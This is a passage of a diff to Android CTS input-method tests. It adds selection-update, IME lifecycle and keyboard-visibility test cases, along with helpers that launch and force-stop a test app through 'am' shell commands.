+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // " |Hello"
+                //    -----
+                expectCommand(stream, imeSession.callBeginBatchEdit(), timeout);
+                expectCommand(stream, imeSession.callFinishComposingText(), timeout);
+                expectCommand(stream, imeSession.callCommitText(" ", 1), timeout);
+                expectCommand(stream, imeSession.callSetComposingRegion(1, 6), timeout);
+                expectCommand(stream, imeSession.callEndBatchEdit(), timeout);
+
+                verifyText(" Hello", 1, 1);
+                final Bundle arguments3 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments3, 0, 0, 1, 1, 1, 6);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+            }
+        };
+        return test;
+    }
+
+    /**
+     * Test case for committing space in the middle of selection and setting composing region after
+     * cursor.
+     */
+    private static UpdateSelectionTest getCommitSpaceAndSetComposingRegionInSelectionTest(
+            long timeout, String makerPrefix) throws Exception {
+        UpdateSelectionTest test = new UpdateSelectionTest(timeout, makerPrefix) {
+            @Override
+            public void testMethodImpl() throws Exception {
+                // "2005abc|"
+                expectCommand(stream, imeSession.callCommitText("2005abc", 1), timeout);
+                verifyText("2005abc", 7, 7);
+                final Bundle arguments1 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments1, 0, 0, 7, 7, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "2005|abc"
+                expectCommand(stream, imeSession.callSetSelection(4, 4), timeout);
+                verifyText("2005abc", 4, 4);
+                final Bundle arguments2 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments2, 7, 7, 4, 4, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "2005 |abc"
+                //        ---
+                expectCommand(stream, imeSession.callBeginBatchEdit(), timeout);
+                expectCommand(stream, imeSession.callCommitText(" ", 1), timeout);
+                expectCommand(stream, imeSession.callSetComposingRegion(5, 8), timeout);
+                expectCommand(stream, imeSession.callEndBatchEdit(), timeout);
+
+                verifyText("2005 abc", 5, 5);
+                final Bundle arguments3 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments3, 4, 4, 5, 5, 5, 8);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+            }
+        };
+        return test;
+    }
+
+    private static void expectOnUpdateSelectionArguments(Bundle arguments,
+            int expectedOldSelStart, int expectedOldSelEnd, int expectedNewSelStart,
+            int expectedNewSelEnd, int expectedCandidateStart, int expectedCandidateEnd) {
+        assertEquals(expectedOldSelStart, arguments.getInt("oldSelStart"));
+        assertEquals(expectedOldSelEnd, arguments.getInt("oldSelEnd"));
+        assertEquals(expectedNewSelStart, arguments.getInt("newSelStart"));
+        assertEquals(expectedNewSelEnd, arguments.getInt("newSelEnd"));
+        assertEquals(expectedCandidateStart, arguments.getInt("candidatesStart"));
+        assertEquals(expectedCandidateEnd, arguments.getInt("candidatesEnd"));
+    }
+
+    /**
+     * Helper class for wrapping tests for {@link android.widget.TextView} and @{@link WebView}
+     * relates to batch edit and update selection change.
+     */
+    private abstract static class UpdateSelectionTest {
+        private final long mTimeout;
+        private final String mMaker;
+        private final AtomicReference<EditText> mEditTextRef = new AtomicReference<>();
+        private final AtomicReference<UiObject2> mInputTextFieldRef = new AtomicReference<>();
+
+        public final MockImeSession imeSession;
+        public final ImeEventStream stream;
+
+        // True if testing TextView, otherwise test WebView
+        private boolean mIsTestingTextView;
+
+        UpdateSelectionTest(long timeout, String makerPrefix) throws Exception {
+            this.mTimeout = timeout;
+            this.mMaker = makerPrefix + SystemClock.elapsedRealtimeNanos();
+            imeSession = MockImeSession.create(
+                    InstrumentationRegistry.getInstrumentation().getContext(),
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    new ImeSettings.Builder());
+            stream = imeSession.openEventStream();
+        }
+
+        /**
+         * Runs the real test logic, which would test onStartInput event first, then test the logic
+         * in {@link #testMethodImpl()}.
+         *
+         * @throws Exception if timeout or assert fails
+         */
+        public void runTest() throws Exception {
+            if (mIsTestingTextView) {
+                TestActivity.startSync(activity -> {
+                    final LinearLayout layout = new LinearLayout(activity);
+                    layout.setOrientation(LinearLayout.VERTICAL);
+                    final EditText editText = new EditText(activity);
+                    layout.addView(editText);
+                    editText.requestFocus();
+                    editText.setPrivateImeOptions(mMaker);
+                    mEditTextRef.set(editText);
+                    return layout;
+                });
+                assertNotNull(mEditTextRef.get());
+            } else {
+                final UiObject2 inputTextField = TestWebView.launchTestWebViewActivity(
+                        mTimeout, mMaker);
+                assertNotNull("Editor must exists on WebView", inputTextField);
+                mInputTextFieldRef.set(inputTextField);
+                inputTextField.click();
+            }
+            expectEvent(stream, editorMatcher("onStartInput", mMaker), TIMEOUT);
+
+            // Code for testing input connection logic.
+            testMethodImpl();
+        }
+
+        /**
+         * Test method to be overridden by implementation class.
+         */
+        public abstract void testMethodImpl() throws Exception;
+
+        /**
+         * Verifies text and selection range in the edit text if this is running tests for TextView;
+         * otherwise verifies the text (no selection) in the WebView.
+         * @param expectedText expected text in the TextView or WebView
+         * @param selStart expected start position of the selection in the TextView; will be ignored
+         *                 for WebView
+         * @param selEnd expected end position of the selection in the WebView; will be ignored for
+         *               WebView
+         * @throws Exception if timeout or assert fails
+         */
+        public void verifyText(String expectedText, int selStart, int selEnd) throws Exception {
+            if (mIsTestingTextView) {
+                EditText editText = mEditTextRef.get();
+                assertNotNull(editText);
+                waitOnMainUntil(()->
+                        expectedText.equals(editText.getText().toString())
+                                && selStart == editText.getSelectionStart()
+                                && selEnd == editText.getSelectionEnd(), mTimeout);
+            } else {
+                UiObject2 inputTextField = mInputTextFieldRef.get();
+                assertNotNull(inputTextField);
+                waitOnMainUntil(()-> expectedText.equals(inputTextField.getText()), mTimeout);
+            }
+        }
+
+        public UpdateSelectionTest setTestTextView(boolean isTestingTextView) {
+            this.mIsTestingTextView = isTestingTextView;
+            return this;
+        }
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
index fc724f8..4eb6573 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
@@ -16,6 +16,7 @@
 
 package android.view.inputmethod.cts;
 
+import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
 import static android.view.View.SCREEN_STATE_OFF;
 import static android.view.View.SCREEN_STATE_ON;
 import static android.view.View.VISIBLE;
@@ -26,6 +27,7 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
@@ -36,11 +38,13 @@
 import android.os.IBinder;
 import android.os.Process;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.text.TextUtils;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.DisableScreenDozeRule;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.RequireImeCompatFlagRule;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
@@ -75,14 +79,18 @@
     public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+    @Rule
+    public final RequireImeCompatFlagRule mRequireImeCompatFlagRule = new RequireImeCompatFlagRule(
+            FINISH_INPUT_NO_FALLBACK_CONNECTION, true);
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testInputConnectionStateWhenScreenStateChanges() throws Exception {
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         final Context context = instrumentation.getTargetContext();
-        final InputMethodManager imManager = context.getSystemService(InputMethodManager.class);
+        final InputMethodManager imm = context.getSystemService(InputMethodManager.class);
         assumeTrue(context.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_INPUT_METHODS));
         final AtomicReference<EditText> focusedEditTextRef = new AtomicReference<>();
@@ -125,7 +133,17 @@
             TestUtils.turnScreenOff();
             TestUtils.waitOnMainUntil(() -> screenStateCallbackRef.get() == SCREEN_STATE_OFF
                             && editText.getWindowVisibility() != VISIBLE, TIMEOUT);
-            expectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+
+            if (MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                // Expected only onFinishInput and the EditText is inactive for input method.
+                expectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+                notExpectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+                assertFalse(TestUtils.getOnMainSync(() -> imm.isActive(editText)));
+                assertFalse(TestUtils.getOnMainSync(() -> imm.isAcceptingText()));
+            } else {
+                expectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+            }
+
             final ImeCommand commit = imeSession.callCommitText("Hi!", 1);
             expectCommand(stream, commit, TIMEOUT);
             TestUtils.waitOnMainUntil(() -> !TextUtils.equals(editText.getText(), "Hi!"), TIMEOUT,
@@ -137,9 +155,14 @@
             TestUtils.waitOnMainUntil(() -> screenStateCallbackRef.get() == SCREEN_STATE_ON
                             && editText.getWindowVisibility() == VISIBLE, TIMEOUT);
             CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText);
+
             expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            if (MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                // Expected only onStartInput and the EditText is active for input method.
+                notExpectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+            }
             assertTrue(TestUtils.getOnMainSync(
-                    () -> imManager.isActive(editText) && imManager.isAcceptingText()));
+                    () -> imm.isActive(editText) && imm.isAcceptingText()));
             final ImeCommand commit1 = imeSession.callCommitText("Hello!", 1);
             expectCommand(stream, commit1, TIMEOUT);
             TestUtils.waitOnMainUntil(() -> TextUtils.equals(editText.getText(), "Hello!"), TIMEOUT,
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index cad3309..7c175c5 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,6 +16,8 @@
 
 package android.view.inputmethod.cts;
 
+import static android.content.Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS;
+import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
 import static android.view.View.VISIBLE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
@@ -29,21 +31,31 @@
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
 import static android.view.inputmethod.cts.util.TestUtils.runOnMainSync;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.waitForInputViewLayoutStable;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import android.app.AlertDialog;
 import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
 import android.graphics.Color;
+import android.net.Uri;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
 import android.support.test.uiautomator.UiObject2;
 import android.text.TextUtils;
 import android.util.Pair;
+import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.WindowInsetsController;
@@ -51,6 +63,7 @@
 import android.view.inputmethod.InputMethod;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.RequireImeCompatFlagRule;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.TestWebView;
@@ -63,16 +76,23 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
 
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeLayoutInfo;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Predicate;
@@ -81,10 +101,29 @@
 @RunWith(AndroidJUnit4.class)
 public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long START_INPUT_TIMEOUT = TimeUnit.SECONDS.toMillis(10);
     private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+    private static final long LAYOUT_STABLE_THRESHOLD = TimeUnit.SECONDS.toMillis(3);
+
+    private static final ComponentName TEST_ACTIVITY = new ComponentName(
+            "android.view.inputmethod.ctstestapp",
+            "android.view.inputmethod.ctstestapp.MainActivity");
+    private static final Uri TEST_ACTIVITY_URI =
+            Uri.parse("https://example.com/android/view/inputmethod/ctstestapp");
+    private static final String EXTRA_KEY_SHOW_DIALOG =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_SHOW_DIALOG";
+    private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+
+    private static final String ACTION_TRIGGER = "broadcast_action_trigger";
+    private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
+    private static final int NEW_KEYBOARD_HEIGHT = 400;
 
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+    @Rule
+    public final RequireImeCompatFlagRule mRequireImeCompatFlagRule = new RequireImeCompatFlagRule(
+            FINISH_INPUT_NO_FALLBACK_CONNECTION, true);
 
     private static final String TEST_MARKER_PREFIX =
             "android.view.inputmethod.cts.KeyboardVisibilityControlTest";
@@ -275,20 +314,16 @@
                 InstrumentationRegistry.getInstrumentation().getUiAutomation(),
                 new ImeSettings.Builder())) {
             final ImeEventStream stream = imeSession.openEventStream();
-
+            final String marker = getTestMarker();
             final UiObject2 inputTextField = TestWebView.launchTestWebViewActivity(
-                    TimeUnit.SECONDS.toMillis(5));
+                    TIMEOUT, marker);
             assertNotNull("Editor must exists on WebView", inputTextField);
-
-            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
-            notExpectEvent(stream, event -> "onStartInputView".equals(event.getEventName()),
-                    TIMEOUT);
             expectImeInvisible(TIMEOUT);
 
             inputTextField.click();
             expectEvent(stream.copy(), showSoftInputMatcher(InputMethod.SHOW_EXPLICIT), TIMEOUT);
-            expectEvent(stream.copy(), event -> "onStartInputView".equals(event.getEventName()),
-                    TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
             expectImeVisible(TIMEOUT);
         }
     }
@@ -415,28 +450,33 @@
         }
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+    public void testImeState_Unspecified_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+    public void testImeState_Visible_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+    public void testImeState_AlwaysVisible_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+    public void testImeState_Hidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+    public void testImeState_AlwaysHidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
     }
 
@@ -446,7 +486,6 @@
                 InstrumentationRegistry.getInstrumentation().getUiAutomation(),
                 new ImeSettings.Builder())) {
             final ImeEventStream stream = imeSession.openEventStream();
-
             // Launch a simple test activity
             final TestActivity testActivity =
                     TestActivity.startSync(activity -> new LinearLayout(activity));
@@ -479,32 +518,210 @@
                     View.VISIBLE, TIMEOUT);
             expectImeVisible(TIMEOUT);
 
-            // Clear editor focus after screen-off
             TestUtils.turnScreenOff();
             TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
                     TIMEOUT);
             expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
-            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
-            // Expect showSoftInput comes when system notify InsetsController to apply show IME
-            // insets after IME input target updated.
-            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
-            notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            if (MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                expectEvent(stream, event -> "onFinishInput".equals(event.getEventName()), TIMEOUT);
+                notExpectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+                        NOT_EXPECT_TIMEOUT);
+            } else {
+                expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+                expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+                // Expect showSoftInput comes when system notify InsetsController to apply show IME
+                // insets after IME input target updated.
+                expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+                notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            }
+
+            // Clear editor focus after screen-off
             TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
 
             // Verify IME will invisible after device unlocked
             TestUtils.turnScreenOn();
             TestUtils.unlockScreen();
-            // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+            // Expect hideSoftInput will called by IMMS when the same window
             // focused since the editText view focus has been cleared.
             TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
                     && !editTextRef.get().hasFocus(), TIMEOUT);
             expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
-            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            if (!MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            }
             expectImeInvisible(TIMEOUT);
         }
     }
 
+    @AppModeFull
+    @Test
+    public void testImeVisibilityWhenImeTransitionBetweenActivities_Full() throws Exception {
+        runImeVisibilityWhenImeTransitionBetweenActivities(false /* instant */);
+    }
+
+    @Ignore("b/179491219")
+    @AppModeInstant
+    @Test
+    public void testImeVisibilityWhenImeTransitionBetweenActivities_Instant() throws Exception {
+        runImeVisibilityWhenImeTransitionBetweenActivities(true /* instant */);
+    }
+
+    @AppModeFull
+    @Test
+    public void testImeInvisibleWhenForceStopPkgProcess_Full() throws Exception {
+        runImeVisibilityTestWhenForceStopPackage(false /* instant */);
+    }
+
+    @Ignore("b/179491012")
+    @AppModeInstant
+    @Test
+    public void testImeInvisibleWhenForceStopPkgProcess_Instant() throws Exception {
+        runImeVisibilityTestWhenForceStopPackage(true /* instant */);
+    }
+
+    private void runImeVisibilityWhenImeTransitionBetweenActivities(boolean instant)
+            throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder()
+                        .setInputViewHeight(NEW_KEYBOARD_HEIGHT)
+                        .setDrawsBehindNavBar(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            final String marker = getTestMarker();
+
+            AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            // Launch test activity with focusing editor
+            final TestActivity testActivity =
+                    TestActivity.startSync(activity -> {
+                        final LinearLayout layout = new LinearLayout(activity);
+                        layout.setOrientation(LinearLayout.VERTICAL);
+                        layout.setGravity(Gravity.BOTTOM);
+                        final EditText editText = new EditText(activity);
+                        editTextRef.set(editText);
+                        editText.setHint("focused editText");
+                        editText.setPrivateImeOptions(marker);
+                        editText.requestFocus();
+                        layout.addView(editText);
+                        activity.getWindow().getDecorView().setFitsSystemWindows(true);
+                        activity.getWindow().getDecorView().getWindowInsetsController().show(ime());
+                        return layout;
+                    });
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Launcher another test activity from another process with popup dialog.
+            launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
+                    Map.of(EXTRA_KEY_SHOW_DIALOG, "true"));
+            // Dismiss dialog and back to original test activity
+            triggerActionWithBroadcast(ACTION_TRIGGER, TEST_ACTIVITY.getPackageName(),
+                    EXTRA_DISMISS_DIALOG);
+
+            // Verify keyboard visibility should aligned with IME insets visibility.
+            TestUtils.waitOnMainUntil(
+                    () -> testActivity.getWindow().getDecorView().getVisibility() == VISIBLE
+                            && testActivity.getWindow().getDecorView().hasWindowFocus(), TIMEOUT);
+
+            AtomicReference<Boolean> imeInsetsVisible = new AtomicReference<>();
+            TestUtils.runOnMainSync(() ->
+                    imeInsetsVisible.set(editTextRef.get().getRootWindowInsets().isVisible(ime())));
+
+            if (imeInsetsVisible.get()) {
+                expectImeVisible(TIMEOUT);
+            } else {
+                expectImeInvisible(TIMEOUT);
+            }
+        }
+    }
+
+    private void runImeVisibilityTestWhenForceStopPackage(boolean instant) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            final String marker = getTestMarker();
+
+            // Make sure that MockIme isn't shown in the initial state.
+            final ImeLayoutInfo lastLayout =
+                    waitForInputViewLayoutStable(stream, LAYOUT_STABLE_THRESHOLD);
+            assertNull(lastLayout);
+            expectImeInvisible(TIMEOUT);
+            // Flush all the events happened before launching the test Activity.
+            stream.skipAll();
+
+            // Launch test activity with focusing an editor from remote process and expect the
+            // IME is visible.
+            try (AutoCloseable closable = launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
+                    Map.of(EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
+                expectEvent(stream, editorMatcher("onStartInput", marker), START_INPUT_TIMEOUT);
+                expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+                expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+                expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                        View.VISIBLE, TIMEOUT);
+                expectImeVisible(TIMEOUT);
+
+                // Force stop test app package, and then expect IME should be invisible after the
+                // remote process stopped by forceStopPackage.
+                TestUtils.forceStopPackage(TEST_ACTIVITY.getPackageName());
+                expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+                expectImeInvisible(TIMEOUT);
+            }
+        }
+    }
+
+    private AutoCloseable launchRemoteActivitySync(ComponentName componentName, boolean instant,
+             long timeout, Map<String, String> extras) {
+        final StringBuilder commandBuilder = new StringBuilder();
+        if (instant) {
+            final Uri uri = formatStringIntentParam(TEST_ACTIVITY_URI, extras);
+            commandBuilder.append(String.format("am start -a %s -c %s %s",
+                    Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString()));
+        } else {
+            commandBuilder.append("am start -n ").append(componentName.flattenToShortString());
+            if (extras != null) {
+                extras.forEach((key, value) -> commandBuilder.append(" --es ")
+                        .append(key).append(" ").append(value));
+            }
+        }
+
+        runWithShellPermissionIdentity(() -> {
+            runShellCommand(commandBuilder.toString());
+        });
+        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        BySelector activitySelector = By.pkg(componentName.getPackageName()).depth(0);
+        uiDevice.wait(Until.hasObject(activitySelector), timeout);
+
+        // Make sure to stop package after test finished for resource reclaim.
+        return () -> TestUtils.forceStopPackage(componentName.getPackageName());
+    }
+
+    @NonNull
+    private static Uri formatStringIntentParam(@NonNull Uri uri, Map<String, String> extras) {
+        if (extras == null) {
+            return uri;
+        }
+        final Uri.Builder builder = uri.buildUpon();
+        extras.forEach(builder::appendQueryParameter);
+        return builder.build();
+    }
+
+    private void triggerActionWithBroadcast(String action, String receiverPackage, String extra) {
+        final StringBuilder commandBuilder = new StringBuilder();
+        commandBuilder.append("am broadcast -a ").append(action).append(" -p ").append(
+                receiverPackage);
+        commandBuilder.append(" -f 0x").append(
+                Integer.toHexString(FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS));
+        commandBuilder.append(" --ez " + extra + " true");
+        runWithShellPermissionIdentity(() -> {
+            runShellCommand(commandBuilder.toString());
+        });
+    }
+
     private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
         final ImeSettings.Builder builder = new ImeSettings.Builder();
         builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
index 7705c63..639be3b 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
@@ -34,6 +34,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
 
 import androidx.annotation.NonNull;
@@ -51,6 +52,7 @@
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -118,7 +120,7 @@
      *                          in the test {@link android.app.Activity} will be set to this value.
      * @param timeout timeout in milliseconds.
      */
-    private void launchTestActivity(boolean instant, @Nullable String privateImeOptions,
+    private AutoCloseable launchTestActivity(boolean instant, @Nullable String privateImeOptions,
             long timeout) {
         final String command;
         if (instant) {
@@ -134,6 +136,9 @@
         runShellCommand(command);
         UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
                 .wait(Until.hasObject(By.pkg(TEST_ACTIVITY.getPackageName()).depth(0)), timeout);
+
+        // Make sure to stop package after test finished for resource reclaim.
+        return () -> TestUtils.forceStopPackage(TEST_ACTIVITY.getPackageName());
     }
 
     @AppModeFull
@@ -142,6 +147,7 @@
         testTargetPackageIsVisibleFromIme(false /* instant */);
     }
 
